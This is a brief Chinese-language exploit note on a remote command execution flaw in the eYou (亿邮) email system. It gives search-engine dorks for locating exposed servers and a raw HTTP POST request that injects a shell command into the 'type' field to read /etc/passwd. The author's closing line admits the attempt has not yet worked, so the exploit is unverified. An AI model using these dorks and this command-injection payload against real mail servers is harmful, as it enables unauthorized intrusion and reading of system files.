0x00 描述

亿邮电子邮件系统 存在远程命令执行漏洞，攻击者可以执行任意命令

0x01 fofa语法

body=”亿邮电子邮件系统” google语法: intitle:亿邮电子邮件系统

0x02漏洞详情

  1. POST /webadm/?q=moni_detail.do&action=gragh HTTP/1.1
  2. Host: xxx.xxx.xxx.xxx
  3. Content-Length: 39
  4. Cache-Control: max-age=0
  5. Upgrade-Insecure-Requests: 1
  6. Content-Type: application/x-www-form-urlencoded
  7. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
  9. type='|cat /etc/passwd||'

0x03 总结

暂时没成功